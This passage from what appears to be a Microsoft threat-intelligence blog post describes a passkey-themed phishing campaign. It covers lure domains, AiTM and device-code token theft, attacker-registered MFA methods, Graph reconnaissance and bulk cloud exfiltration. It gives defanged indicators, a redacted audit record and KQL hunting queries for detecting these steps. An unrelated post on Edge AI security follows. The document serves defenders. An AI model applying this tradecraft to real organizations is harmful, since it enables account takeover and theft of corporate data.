In a smaller number of cases, actors take advantage of already compromised accounts to expand their reach. Using a trusted employee identity, they send similar passkey-themed messages through Microsoft Teams, making the request appear legitimate and significantly increasing the likelihood of engagement. To support these operations, the actors rapidly deploy convincing phishing infrastructure built around themes such as passkeys, SSO enrollment, account activation, and identity verification.

A commonly observed technique involves registering generic domains and embedding the target organization’s name as a subdomain, creating URLs that appear familiar at first glance. Multiple domains may be created for the same organization, allowing the actor to rotate infrastructure as needed. These domains are often registered with Nicenic registrar (observed in previous extortion campaigns) and operational within hours, giving defenders little opportunity to identify and block the infrastructure before employees encounter it. Registration alone should not be interpreted as evidence of registrar involvement in the activity. For example, company-name.integratedsso[.]com and company-name.secure-passkey[.]com illustrate how the same company name can appear under different actor-controlled domains.

Together, the phone-based social engineering, personalized targeting, trusted internal messaging, and rapidly changing phishing infrastructure form the opening chapter of a highly coordinated intrusion designed to blend technical deception with human trust.

The actor creates domains following the pattern companyname[.]maliciousdomain[.]com to impersonate organization-specific authentication portals. Including the victim organization’s name in the URL helps establish credibility and can persuade users to proceed with authentication. Example: contoso[.]add-passkey[.]com.

ThemeDomain examples, defangedPasskeypasskeyhelpdesk[.]com, secure-passkey[.]com†, setupmypasskey[.]com†, add-passkey[.]com†SSO and identity providerintegratedsso[.]com†, oktasession[.]comKey setup and synchronizationkeysyncos[.]com, oskeysync[.]com, oskeysetup[.]com, oskeyregister[.]com, syncmykey[.]com, myconnectkey[.]com, oskeyconnect[.]comSetup and verificationvalidationsetupac[.]com, portalsetuphub[.]com Step 3-4 : User identity compromise From one sign-in to broader application access

In one investigated attack sequence, the activity began with an anomalous sign-in to Microsoft OfficeHome application from an unmanaged device, possibly attacker-owned. Once MFA was completed, the actor began accessing identity portals such as My Sign-Ins and enterprise application stores such as My Apps. Sign-in artifacts, including user-agent patterns, indicated possible AiTM phishing.

Using the same session, the actor further accessed several management applications, including Microsoft Approval Management, which is used for identity and approval-related services. SharePoint Online and OneDrive were used to enumerate sensitive files, primarily through the Graph API. The investigation revealed that the actor’s sessions persisted for approximately one hour while enumerating sensitive files and internal applications.

Passkey lure leads to device code phishing

In another investigated attack sequence, the actor was observed using the device code flow to compromise the session token after the passkey lure. In device code phishing, the user is persuaded to enter a code on the legitimate Microsoft authentication page. This approval issues a token to an attacker-controlled client, which can then access permitted resources without stealing a browser cookie. Following the device code flow, the actor successfully replayed the compromised token, effectively bypassing MFA and conducting enumeration and further attack progression.

Reusing the same credentials after an earlier compromise

The third attack pattern involved the actor signing in with compromised credentials, with MFA approved using a previously registered PhoneAppOTP method. This suggests that the attacker had registered the authenticator app days before launching the campaign. Once the sign in was successful, the actor followed the same reconnaissance pattern observed in other attack sequences. This activity was primarily carried out using an automated system developed with Node.js and Microsoft Graph.

To illustrate how the activity unfolded over time, the following timeline summarizes the key events identified during the investigation.

Time, UTCApplication or resourceWhat happened and why it mattersT+0minOfficeHomeSign-in from an unmanaged context received error 50074, requiring secondary authentication / Multifactor authentication (MFA).T+1minOfficeHomeMFA completed (AiTM with non-phishing resistant MFA) followed by error 50140 for the keep-me-signed-in interruption.T+1minOfficeHomeAuthentication succeeded, establishing the session used for subsequent access.T+2minMy AppsThe session enumerated applications assigned to the compromised identity.T+2minMy ProfileOrganizational profile information was accessed.T+3minMicrosoft Approval ManagementIdentity and approval-related services were accessed. This could expose approval workflows available to the identity.T+3minMicrosoft Account Controls V2Account and authentication management interfaces were accessed.T+4minMy SignInsSign-in and security information was accessed through Microsoft Graph using the same source context, session, Chrome user agent, and browser ID as the OfficeHome authentication.T+10minOCaaSThe organizational application catalogue was loaded through My Apps. In this sequence, OCaaS supports application discovery rather than appearing as an isolated background event.T+11 – T+50minSharePoint OnlineThe session requested access to organizational sites and document resources. The sign-in events do not prove that a document was opened or downloaded.T+11 – T+50minOutlook WebMailbox-related services were accessed, creating an opportunity for mailbox and business-context reconnaissance.T+12minWindows App – WebThe session entered the Azure Virtual Desktop authentication flow. A desktop or remote workspace launch was not confirmed.T+14minInternal virtual application and desktop portalAuthentication succeeded to the internal virtual application and desktop portal. This could expose published applications and virtual desktops assigned to the identity, although no internal virtual application and desktop portal resource launch was confirmed.T+15minOwaDownloadAttachmentsOutlook successfully requested the attachment download resource. This is more consequential than generic mailbox access, but the sign-in telemetry does not prove that an attachment was downloaded.T+16minM365ChatClientMicrosoft 365 collaboration, Teams, and search services were accessed.T+16minInternal business workflow applicationAuthentication succeeded to another internal business workflow application. Step 5 : New MFA device for persistence

Following initial access, the actor’s first objective was to transform a temporary compromise into a persistent foothold. Rather than relying solely on stolen credentials, the actor enrolled an MFA method under their control, typically by registering a new phone number, authenticator application, or software-based one-time password (OTP) token. This effectively inserted an actor-controlled factor into the victim’s identity, allowing future authentication challenges to be satisfied without the user’s involvement.

By registering an actor-controlled MFA method, the threat actor ensured that future authentication challenges could be satisfied using a factor they controlled. While MFA enrollment alone does not survive a complete credential and session reset, it provides a durable persistence mechanism when combined with stolen tokens, unrevoked sessions, or subsequent access to valid credentials. As a result, actors frequently establish MFA persistence early in the intrusion to increase the likelihood of maintaining long-term access to the compromised identity.

Phone or authenticator device addition

Detects a newly registered MFA device with a populated device token. The query compares the previous and updated authentication method values and returns newly added device records.

CloudAppEvents | where ActionType == "Update user." | where tostring(RawEventData.ResultStatus) == "Success" | where RawEventData has_any ("StrongAuthenticationPhoneAppDetail", "StrongAuthenticationUserDetails") | extend AccountObjectId = extract(@"User_([a-f0-9\-]+)", 1, tostring(RawEventData.Target)) | where isnotempty(AccountObjectId) | mvexpand ModifiedProp = RawEventData.ModifiedProperties | where tostring(ModifiedProp.Name) in ("StrongAuthenticationPhoneAppDetail", "StrongAuthenticationUserDetails") | extend OldValue = tostring(ModifiedProp.OldValue), NewValue = tostring(ModifiedProp.NewValue) | extend OldDeviceCount = countof(OldValue, @"""Id"""), NewDeviceCount = countof(NewValue, @"""Id""") | where NewDeviceCount > OldDeviceCount Software token addition

Below is a real-world example of attacker controlled Software token added to the user’s identity with Update user operation. This is added as a second NewValue entry containing the device name NO_DEVICE, device token NO_DEVICE_TOKEN, and the SoftwareTokenActivated device tag.

{ [EF1.1][KR1.2] "Id": "[GUID_REDACTED]", "CreationTime": "2026-09-04T16:57:42.0000000Z", "OrganizationId": "[GUID_REDACTED]", "Operation": "Update user.", "RecordType": 8, "Workload": "AzureActiveDirectory", "ResultStatus": "Success", "UserKey": "Not Available", "UserId": "ServicePrincipal_[GUID_REDACTED]", "Version": 1, "UserType": 4, "ObjectId": "[EMAIL_REDACTED]", "ModifiedProperties": [ { "Name": "StrongAuthenticationPhoneAppDetail", "OldValue": [ { "DeviceName": "[DEVICE_NAME_REDACTED]", "DeviceToken": "[DEVICE_TOKEN_REDACTED]", "DeviceTag": "iOS", "PhoneAppVersion": "6.8.53", "OathTokenTimeDrift": 0, "DeviceId": "[GUID_REDACTED]", "Id": "[GUID_REDACTED]", "TimeInterval": 0, "AuthenticationType": 3, "NotificationType": 2, "LastAuthenticatedTimestamp": "2026-09-04T16:54:47.6425033Z", "AuthenticatorFlavor": "Authenticator", "HashFunction": null, "TenantDeviceId": null, "SecuredPartitionId": 20111, "SecuredKeyId": 7 } ], "NewValue": [ { "DeviceName": "[DEVICE_NAME_REDACTED]", "DeviceToken": "[DEVICE_TOKEN_REDACTED]", "DeviceTag": "iOS", "PhoneAppVersion": "6.8.53", "OathTokenTimeDrift": 0, "DeviceId": "[GUID_REDACTED]", "Id": "[GUID_REDACTED]", "TimeInterval": 0, "AuthenticationType": 3, "NotificationType": 2, "LastAuthenticatedTimestamp": "2026-09-04T16:54:47.6425033Z", "AuthenticatorFlavor": "Authenticator", "HashFunction": null, "TenantDeviceId": null, "SecuredPartitionId": 20111, "SecuredKeyId": 7 }, { "DeviceName": "NO_DEVICE", "DeviceToken": "NO_DEVICE_TOKEN", "DeviceTag": "SoftwareTokenActivated", "PhoneAppVersion": "NO_PHONE_APP_VERSION", "OathTokenTimeDrift": 0, "DeviceId": "[GUID_REDACTED]", "Id": "[GUID_REDACTED]", "TimeInterval": 0, "AuthenticationType": 2, "NotificationType": 1, "LastAuthenticatedTimestamp": "2026-09-04T16:57:42.4514487Z", "AuthenticatorFlavor": "Authenticator", "HashFunction": "hmacsha1", "TenantDeviceId": null, "SecuredPartitionId": 20111, "SecuredKeyId": 7 } ] }, { "Name": "Included Updated Properties", "OldValue": "", "NewValue": "StrongAuthenticationPhoneAppDetail" }, { "Name": "TargetId.UserType", "OldValue": "", "NewValue": "Member" } ] } Step 6 : Graph reconnaissance

Once MFA persistence was established, the actor initiated an extensive internal reconnaissance phase using Microsoft Graph to inventory users, groups, permissions, resources, and accessible content across the tenant with the compromised identity. The actor deliberately rotated infrastructure throughout the attack lifecycle, with separate IP addresses often used for authentication, reconnaissance, and exfiltration activities. As a result, piecing together the full intrusion required correlating activity across multiple stages rather than relying on individual network indicators.

The attack underscores a critical detection challenge: Microsoft Graph abuse rarely appears suspicious when viewed through a single API call. Requests to endpoints such as /users, /groups, or /sites are commonplace in enterprise environments. However, when the same identity, application, or access token systematically traverses multiple tenant resources, evaluates privilege and authentication settings, and subsequently accesses mail, files, attachments, or document content, those actions collectively form a clear reconnaissance-to-exfiltration chain. This attack serves as a strong example of why Graph activity must be assessed holistically, with emphasis on behavioral progression and cross-event correlation rather than individual API requests in isolation.

Graph reconnaissance pattern matrix initiated by the actor Recon patternGraph URI examplesWhat it revealsWhy it mattersTenant profile/organization, /subscribedSkus, /licenseDetailsIdentifies the tenant, verified domains, licenses, and enabled services.Useful setup activity; stronger when followed by user, role, or repository discovery.Directory enumeration/users, /groups, /members, /transitiveMembersBuilds a map of identities, groups, and effective membership.Can identify targets, privileged users, and sensitive collaboration groups.Privilege and MFA discovery/directoryRoles, /roleManagement, /authentication/methodsInspects privileged assignments and registered authentication methods.High-value reconnaissance around identity control and persistence.Application and consent discovery/applications, /servicePrincipals, /oauth2PermissionGrants, /appRoleAssignmentsMaps enterprise applications, OAuth grants, and delegated or app-only access.Can expose reusable access paths and high-value service identities.SharePoint and OneDrive discovery/sites, /lists, /drives, /drive/items, /root/children, /searchLocates sites, document libraries, folders, and files.Often converts broad tenant reconnaissance into a collection-ready file map.Mailbox discovery/messages, /mailFolders, /attachmentsEnumerates messages, folders, and attachment metadata.Supports intelligence collection, business email compromise (BEC), and targeted attachment retrieval.Automation and pagination$top, $skip, $skiptoken, $count, /delta, /searchWalks large result sets or repeatedly searches repositories.Raises confidence when combined with broad discovery or sensitive endpoints.Content collection/content, message or attachment retrieval, large ResponseSizeRetrieves the underlying data after discovery.Strongest indicator that reconnaissance has progressed into collection. Hunt for broad Graph reconnaissance in one session

Find identities or applications touching several reconnaissance categories from the same IP within 30 minutes.

let Lookback = 24h; [MI25.1][IM25.2] GraphAPIAuditEvents | where Timestamp > ago(Lookback) | where toint(ResponseStatusCode) between (200 .. 299) | extend Uri = tolower(RequestUri), ActorId = coalesce(AccountObjectId, ServicePrincipalId, ApplicationId), Path = tostring(split(tolower(RequestUri), "?")[0]) | extend ReconType = case( Uri has "/organization" or Uri has "/subscribedskus", "Tenant", Uri has "/users" or Uri has "/groups", "Directory", Uri has "/directoryroles" or Uri has "/rolemanagement", "Privilege", Uri has "/applications" or Uri has "/serviceprincipals" or Uri has "/oauth2permissiongrants", "Application", Uri has "/sites" or Uri has "/drive", "Repository", Uri has "/messages" or Uri has "/mailfolders", "Mailbox", "Other") | where ReconType != "Other" and isnotempty(ActorId) | summarize Requests=count(), Categories=dcount(ReconType), DistinctPaths=dcount(Path), ReconTypes=make_set(ReconType, 10), SampleUris=make_set(RequestUri, 10) by ActorId, IpAddress, ApplicationId, bin(Timestamp, 30m) | where Requests >= 10 and Categories >= 3 and DistinctPaths >= 6 | order by Categories desc, Requests desc Hunt for privilege, MFA, application, and consent discovery

Highlight sensitive control-plane reconnaissance that can expose persistence or escalation opportunities.

GraphAPIAuditEvents | where Timestamp > ago(24h) | where toint(ResponseStatusCode) between (200 .. 299) | extend Uri = tolower(RequestUri), ActorId = coalesce(AccountObjectId, ServicePrincipalId, ApplicationId) | where Uri has_any ("/directoryroles", "/rolemanagement", "/authentication/methods", "/applications", "/serviceprincipals", "/oauth2permissiongrants", "/approleassign") | summarize Requests=count(), DistinctPaths=dcount(tostring(split(Uri, "?")[0])), ScopesSeen=make_set(Scopes, 10), SampleUris=make_set(RequestUri, 12) by ActorId, IpAddress, ApplicationId, bin(Timestamp, 30m) | where Requests >= 4 and DistinctPaths >= 2 | order by Requests desc Hunt for SharePoint and OneDrive repository discovery

Detect search, child traversal, delta queries, and paging used to map file repositories.

GraphAPIAuditEvents | where Timestamp > ago(24h) | where toint(ResponseStatusCode) between (200 .. 299) | extend Uri = tolower(RequestUri), ActorId = coalesce(AccountObjectId, ServicePrincipalId, ApplicationId), Path = tostring(split(tolower(RequestUri), "?")[0]) | where Uri has_any ("/sites", "/drives", "/drive/") | where Uri has_any ("/search", "/children", "/delta", "$skiptoken", "%24skiptoken", "$top", "%24top") | summarize Requests=count(), DistinctPaths=dcount(Path), SampleUris=make_set(RequestUri, 12) by ActorId, IpAddress, ApplicationId, bin(Timestamp, 20m) | where Requests >= 8 and DistinctPaths >= 4 | order by Requests desc Hunt for mailbox and attachment reconnaissance

Find concentrated enumeration of messages, mail folders, and attachments.

GraphAPIAuditEvents | where Timestamp > ago(24h) | where toint(ResponseStatusCode) between (200 .. 299) | extend Uri = tolower(RequestUri), ActorId = coalesce(AccountObjectId, ServicePrincipalId, ApplicationId), Path = tostring(split(tolower(RequestUri), "?")[0]) | where Uri has_any ("/messages", "/mailfolders", "/attachments") | summarize Requests=count(), DistinctPaths=dcount(Path), MessageRequests=countif(Uri has "/messages"), AttachmentRequests=countif(Uri has "/attachments"), TotalResponseBytes=sum(coalesce(ResponseSize, 0)), SampleUris=make_set(RequestUri, 12) by ActorId, IpAddress, ApplicationId, bin(Timestamp, 30m) | where (Requests >= 8 and DistinctPaths >= 4) or AttachmentRequests >= 3 | order by AttachmentRequests desc, Requests desc Step 7-8 : High-volume cloud data collection and suspected exfiltration

Following reconnaissance, the actor transitioned into large-scale data collection across Microsoft 365 workloads using the compromised identities. Microsoft observed high-volume access and download activity targeting Microsoft SharePoint Online and Microsoft OneDrive for Business, with some intrusions extending into Microsoft Exchange Online through REST API-based access to email content. Across SharePoint and OneDrive, the activity generated significant volumes of FileAccessed and FileDownloaded events, indicating systematic retrieval of cloud-hosted documents and organizational data.

The activity frequently exhibited characteristics of automation rather than interactive user behavior. In several cases, Microsoft observed the python-httpx user agent associated with high-volume SharePoint and OneDrive access patterns. However, the user agent alone should not be treated as malicious. Instead, such activity should be evaluated in the broader context of data volume, affected identities, source infrastructure, prior reconnaissance activity, and evidence of identity compromise.

Unlike rapid smash-and-grab operations, data exfiltration was typically measured and sustained, often spanning several hours to multiple days depending on the volume of files and email content available to the compromised user. The actors generally maintained a controlled pace of collection, with fewer than 1,000 files or emails accessed within any one-hour period, likely helping the activity blend with normal enterprise usage while enabling the gradual extraction of large amounts of sensitive data over time.

Hunt for exfiltration through Exchange Online

Exfiltration of data through REST API using Microsoft Office or One Outlook Web

CloudAppEvents | where isempty(AccountObjectId) | where ApplicationId == '20893' | where AccountDisplayName in ("One Outlook Web", "9199bf20-a13f-4107-85dc-02114787ef48", "d3590ed6-52b3-4102-aeff-aad2292ab01c") | where isnotempty(IPAddress) | extend AccountObjectId = tostring(RawEventData.TokenObjectId) | summarize ExchangeRestEventCount=count() by IPAddress, AccountObjectId, bin(Timestamp,1h) | where ExchangeRestEventCount >= 500 Hunt for exfiltration through Microsoft SharePoint Online, OneDrive for Business

Exfiltration of data through python-httpx user agent

CloudAppEvents | where ApplicationId == "20892" or ApplicationId == "15600" | where ActionType in ("FileDownloaded", "FileAccessed", "SyncDownloadedFull") | where isnotempty(AccountObjectId) | where isnotempty(IPAddress) | where isnotempty(UserAgent) | where UncommonForUser has_any("ISP","UserAgent") | where UserAgent has 'python-httpx' | project Timestamp, AccountObjectId, IPAddress, ISP, UserAgent | summarize FilesAccessedLastWindow = count() by AccountObjectId, IPAddress, ISP, UserAgent, bin(Timestamp,2h) | where FilesAccessedLastWindow >=100 Hunt for anomalous high-volume exfiltration

Exfiltration of data through anonymous proxy

CloudAppEvents | where ApplicationId in (20892, 20893, 15600) | where ActionType in~ ("FileDownloaded", "FileAccessed", "FilePreviewed") | where IsAnonymousProxy == true | where UserAgent !has "ODMTADemand" | extend FileSizeBytes = coalesce(tolong(RawEventData.FileSizeBytes), 0) | summarize FileSizeBytes = sum(FileSizeBytes), FirstSeen = min(Timestamp), LastSeen = max(Timestamp), EventCount = count(), ActionTypes = make_set(ActionType), Applications = make_set(Application) by AccountObjectId, IPAddress, TimeBucket = bin(Timestamp, 2h), UserAgent, ISP | extend FileSizeGB = round(FileSizeBytes / 1024.0 / 1024.0 / 1024.0, 2) | where FileSizeGB >= 5 or EventCount >= 1000 | order by EventCount desc Attribution

Microsoft Threat Intelligence assesses that the initial access activity observed in this campaign is used by a range of threat actors, including Storm-3121, Storm-3032, and others. Storm-3121 conducts initial access activity leading to ShinyHunters and Falcon extortion. Storm-3032 represents a set of actors that splintered from the BlackFile group and now operate under the Helix extortion banner. That being said, Microsoft Defender has detection coverage for the known tactics, techniques and procedures from Storm-3121, Storm-3032 and other operators in the same ecosystem.

Mitigation and protection guidance

Microsoft recommends that organizations investigate identity and cloud-workload signals as a connected sequence, with priority given to unusual sign-ins followed bys authentication method enrollment, Microsoft Graph reconnaissance, token issuance, and abnormal SaaS download or mailbox activity.

Investigate

• Review newly registered authentication methods and devices for users with risky or unusual sign-ins and remove unauthorized methods after validating the user.
• Investigate high-volume or programmatic Microsoft Graph activity involving directory enumeration, role discovery, service principal discovery, SharePoint, OneDrive, or sensitivity-label discovery.
• Correlate SharePoint and OneDrive download anomalies, Exchange REST activity, and mailbox or attachment searches with identity and authentication events.

Contain and remediate

• Revoke active sessions and refresh tokens for confirmed compromised identities, reset credentials, remove attacker-registered authentication methods, remove attacker created mailbox rules, and require secure re-registration of authentication methods.

Reduce future risk

• Do not treat an IP or domain match as conclusive on its own. Validate workload behavior, affected identities, persistence events, and data access volume.
• Enforce phishing-resistant MFA (FIDO2/passkeys, Windows Hello for Business) via Conditional Access
• Enforce Conditional Access that requires a managed, compliant device for Exchange, SharePoint, and Graph-privileged apps
• Enforce strict conditional access controls for security info registration, including setting required sign-in frequency to always (require a new interactive auth), requiring managed devices and/or named locations, and requiring phish-resistant MFA as a required authentication strength, and in a separate policy blocking security info registration with a high sign-in risk condition
• Enforce risk-based access policies for risky sign-ins and risky users – remediate elevated risk with phishing-resistant MFA or secure password change, and block access at the highest risk levels.
• Train users against voice and email phishing that targets MFA and passkey enrollment. Provide a verified channel to report unsolicited authentication requests.
• Block the device code and authentication transfer flows via Conditional Access, except where an explicit business need exists.
• Restrict user consent for applications, require admin approval, and regularly review service principals holding high-privilege Graph permissions such as Mail.Read, Files.Read.All, and Directory.Read.All.
• Limit access from unmanaged devices to web-only sessions without download or sync, and disable anonymous sharing links in SharePoint and OneDrive.
• Enable Microsoft Graph activity logs and mailbox auditing, and alert on anomalous enumeration, authentication-method registration, and high-volume file or mail access.
• Educational training: Verify user identity through a rigorous process before performing any helpdesk-initiated credential or MFA reset, and alert on every such reset.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Tactic Observed activity Microsoft XDR Defender coverage Credential AccessUnusual cloud activity from a tracked potentially malicious IPMicrosoft Defender for Cloud
– A storage account was accessed from a suspicious IP address.

Microsoft Defender for Identity
– Malicious registration of a device with strong MFA.
– Malicious registration of an attacker controlled MFA device.
– Suspicious registration of a new Authenticator MFA method.
– Malicious registration of a new Authenticator MFA method.
– Suspicious registration of a new Phone MFA method.
– Malicious registration of a new Phone MFA method – Malicious registration of a new Email MFA method.

Microsoft Defender XDR
– Malicious sign in from an IP address associated with recognized attacker infrastructure.DiscoveryGraph API reconnaissance activityMicrosoft Defender for Identity
– Suspicious Entra Graph API query observed. Exfiltration Data exfiltration activityMicrosoft Defender for Cloud
– Unusual number of blobs extracted from a storage blob container.
– Unusual amount of data extracted from a storage file share.
– Unusual number of files extracted from a storage file share.
– Unusual amount of data extracted from a sensitive blob container.
– Unusual number of blobs extracted from a sensitive blob container.
– Unusual amount of data extracted from a sensitive storage file share.
– Unusual number of files extracted from a sensitive storage file share.
– Sensitive data was exfiltrated from a publicly exposed blob container.

Microsoft Defender XDR
– Automated mass SharePoint/OneDrive file access via python-httpx. Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to investigate activity associated with this intrusion pattern:

• Incident investigation – Generates investigation summaries and helps analysts understand incidents involving compromised identities, suspicious sign-ins, persistence activity, and cloud-based data access.
• Microsoft User analysis – Analyses user accounts, sign-in activity, authentication events, risk indicators, and related identity signals that may help identify compromised accounts.

Customers can also use Microsoft Security Copilot together with Microsoft Threat Intelligence to investigate indicators, threat activity, and related intelligence associated with suspicious sign-ins, Microsoft Graph reconnaissance, and cloud data exfiltration activity.

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.

Threat intelligence reports

Microsoft customers can use the following reports in Microsoft products to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

MITRE ATT&CK Techniques observed

Reconnaissance

• T1591 Gather Victim Org Information | Use of themed domains for credential phishing pages
• T1598.003 Phishing for Information: Spear-phishing Link | Use of spear-phishing emails with links to spoofed sign-in pages

Resource Development

• T1583.001 Acquire Infrastructure: Domains | Use of themed domains for credential phishing pages
• T1585.002 Establish Accounts: Email Accounts | Delivery infrastructure that is comprised of accounts from consumer email providers like Hotmail

Initial Access

• T1078.004 Valid Accounts: Cloud Accounts | The compromised cloud identity is used to authenticate to Microsoft cloud services.

Persistence

• T1556.006 Modify Authentication Process: Multi-Factor Authentication | After gaining account access, the threat actor registers a new authentication method, mobile device, or software-based OTP to establish persistent access to the compromised identity.

Discovery

• T1087.004 Account Discovery: Cloud Account | The threat actor uses Microsoft Graph to enumerate tenant users and identities, including information useful for identifying high-value identities and privileged accounts.
• T1069.003 Permission Groups Discovery: Cloud Groups | Microsoft Graph reconnaissance enumerates group memberships and directory roles, allowing the threat actor to understand privilege relationships and identify potentially valuable identities.

Collection

• T1530 Data from Cloud Storage | The actor searches and accesses SharePoint and OneDrive content and performs high-volume file access/download activity to collect targeted cloud-hosted information.
• T1114 Email Collection | Mailboxes, messages, and attachments are searched for material of interest and email is collected through REST APIs.
• T1213 Data from Information Repositories | The actor searches enterprise cloud repositories, including SharePoint content and other organizational cloud data, to identify information of value for collection.

Exfiltration

• T1567 Exfiltration Over Web Service | The campaign performs high-volume cloud data access and uses automated Python-based activity for rapid collection and exfiltration.

Advanced hunting queries

Additional advanced hunting query for Graph reconnaissance:

Hunt for automated pagination, delta, and search behavior

Identify actors walking large Graph result sets or repeatedly querying for data.

GraphAPIAuditEvents | where Timestamp > ago(24h) | where toint(ResponseStatusCode) between (200 .. 299) | extend Uri = tolower(RequestUri), ActorId = coalesce(AccountObjectId, ServicePrincipalId, ApplicationId), Path = tostring(split(tolower(RequestUri), "?")[0]) | where Uri has_any ("$top", "%24top", "$skip", "%24skip", "$skiptoken", "%24skiptoken", "$count", "%24count", "/delta", "/search") | summarize AutomatedRequests=count(), DistinctPaths=dcount(Path), SampleUris=make_set(RequestUri, 12) by ActorId, IpAddress, ApplicationId, bin(Timestamp, 15m) | where AutomatedRequests >= 8 and DistinctPaths >= 4 | order by AutomatedRequests desc Hunt for reconnaissance progressing to content collection

Prioritize sessions where broad discovery and content retrieval occur together.

GraphAPIAuditEvents | where Timestamp > ago(24h) | where toint(ResponseStatusCode) between (200 .. 299) | extend Uri = tolower(RequestUri), ActorId = coalesce(AccountObjectId, ServicePrincipalId, ApplicationId) | extend ActivityType = case( Uri has "/content" or Uri has "/attachments", "ContentCollection", Uri has "/users" or Uri has "/groups", "DirectoryRecon", Uri has "/directoryroles" or Uri has "/rolemanagement" or Uri has "/authentication/methods", "PrivilegeRecon", Uri has "/applications" or Uri has "/serviceprincipals", "ApplicationRecon", Uri has "/sites" or Uri has "/drives" or Uri has "/drive/", "RepositoryRecon", Uri has "/messages" or Uri has "/mailfolders", "MailboxRecon", "Other") | where ActivityType != "Other" | summarize DiscoveryFirst=minif(Timestamp, ActivityType != "ContentCollection"), CollectionFirst=minif(Timestamp, ActivityType == "ContentCollection"), DiscoveryCategories=dcountif(ActivityType, ActivityType != "ContentCollection"), ContentRequests=countif(ActivityType == "ContentCollection"), TotalResponseBytes=sum(coalesce(ResponseSize, 0)), SampleUris=make_set(RequestUri, 15) by ActorId, IpAddress, ApplicationId, bin(Timestamp, 1h) | where isnotnull(DiscoveryFirst) and isnotnull(CollectionFirst) | where CollectionFirst >= DiscoveryFirst and DiscoveryCategories >= 2 and ContentRequests >= 1 | order by CollectionFirst desc Hunt for exfiltration through Microsoft Graph

Prioritize sessions where broad discovery and content retrieval occur together.

GraphAPIAuditEvents | where Timestamp > ago(24h) | where toint(ResponseStatusCode) between (200 .. 299) | extend Uri = tolower(RequestUri), ActorId = coalesce(AccountObjectId, ServicePrincipalId, ApplicationId) | extend ActivityType = case( Uri has "/content" or Uri has "/attachments", "ContentCollection", Uri has "/users" or Uri has "/groups", "DirectoryRecon", Uri has "/directoryroles" or Uri has "/rolemanagement" or Uri has "/authentication/methods", "PrivilegeRecon", Uri has "/applications" or Uri has "/serviceprincipals", "ApplicationRecon", Uri has "/sites" or Uri has "/drives" or Uri has "/drive/", "RepositoryRecon", Uri has "/messages" or Uri has "/mailfolders", "MailboxRecon", "Other") | where ActivityType != "Other" | summarize DiscoveryFirst=minif(Timestamp, ActivityType != "ContentCollection"), CollectionFirst=minif(Timestamp, ActivityType == "ContentCollection"), DiscoveryCategories=dcountif(ActivityType, ActivityType != "ContentCollection"), ContentRequests=countif(ActivityType == "ContentCollection"), TotalResponseBytes=sum(coalesce(ResponseSize, 0)), SampleUris=make_set(RequestUri, 15) by ActorId, IpAddress, ApplicationId, bin(Timestamp, 1h) | where isnotnull(DiscoveryFirst) and isnotnull(CollectionFirst) | where CollectionFirst >= DiscoveryFirst and DiscoveryCategories >= 2 and ContentRequests >= 1 | order by CollectionFirst desc Indicators of compromise (IOC) Indicators TypeDescriptionpasskeyhelpdesk[.]com DomainsPasskey support luresecure-passkey[.]comDomainsPasskey security setupmypasskey[.]comDomainsPasskey setup add-passkey[.]comDomainsPasskey enrollment integratedsso[.]comDomainsSSO oktasession[.]com DomainsIdentity-provider session keysyncos[.]com DomainsKey synchronization oskeysync[.]com DomainsKey synchronization oskeysetup[.]com DomainsKey setup oskeyregister[.]com DomainsKey registration syncmykey[.]com DomainsKey synchronization myconnectkey[.]com DomainsKey connection oskeyconnect[.]com DomainsKey connection validationsetupac[.]com DomainsAccount validation and setup portalsetuphub[.]com DomainsPortal setup Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.  

• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Microsoft 365 Copilot AI security documentation
• How Microsoft discovers and mitigates evolving attacks against AI guardrails
• Learn more about securing Copilot Studio agents with Microsoft Defender 

The post Passkey-themed social engineering leads to identity and cloud compromise appeared first on Microsoft Security Blog.

In this article

1. Edge AI changes the trust model for AI systems
2. Constrain model actions through deterministic mediation
3. Establish trust before releasing sensitive assets
4. Verify runtime before releasing sensitive assets
5. Verify artifacts that shape model behavior
6. Next steps

Edge AI moves model execution, model IP, customer data, and system authority into infrastructure the customer owns and operates. That changes who must verify the stack before sensitive assets are released.

Edge AI includes AI systems where inference runs on or near the device, sensor, or other local environments where data is produced and acted on, rather than relying entirely on a centralized cloud service. It is chosen for cost, model selection, sovereignty, latency, and disconnected operation.

Edge AI changes the trust model for AI systems

In Cloud AI, separate companies own and attest the hardware, platform, and model weights. Edge AI deployments often place customers in control of more of the AI stack. This changes the security model because the customer is now responsible for establishing trust across the environment where the AI operates.

In Edge AI, attacks such as prompt injection, model tampering, or malicious firmware updates can occur in the same environment that stores the model, customer data, credentials, and access to physical systems. This shifts trust decisions that were previously handled by cloud providers to the customer. Both the model provider and the customer now share risk: the provider’s models run on customer-owned infrastructure, while the customer must protect the systems, data, and models operating in that environment.

What changes with Edge AI?

• Customers operate more of the AI stack.
• AI systems can be influenced by prompts, retrieval data, agent instructions, and runtime inputs.
• Models, credentials, and data can live in environments outside the provider’s direct control.
• Traditional software security controls alone are not enough.

What should organizations do?

• Verify runtimes using attestation.
• Verify AI artifacts using provenance.
• Constrain model actions through mediation.
• Bind and release sensitive assets only to trusted environments.

Our post on threat modeling for AI systems covers safety and security issues related to the underlying model. These concerns apply to Edge AI as well. Edge AI adds another question: before releasing weights, keys, or data, what evidence shows the runtime and loaded components can be trusted?

Why Edge AI increases exposure

An Edge AI deployment may include models, prompts, agents, retrieval data, policies, local data stores, and update mechanisms running on infrastructure outside the provider’s cloud environment.

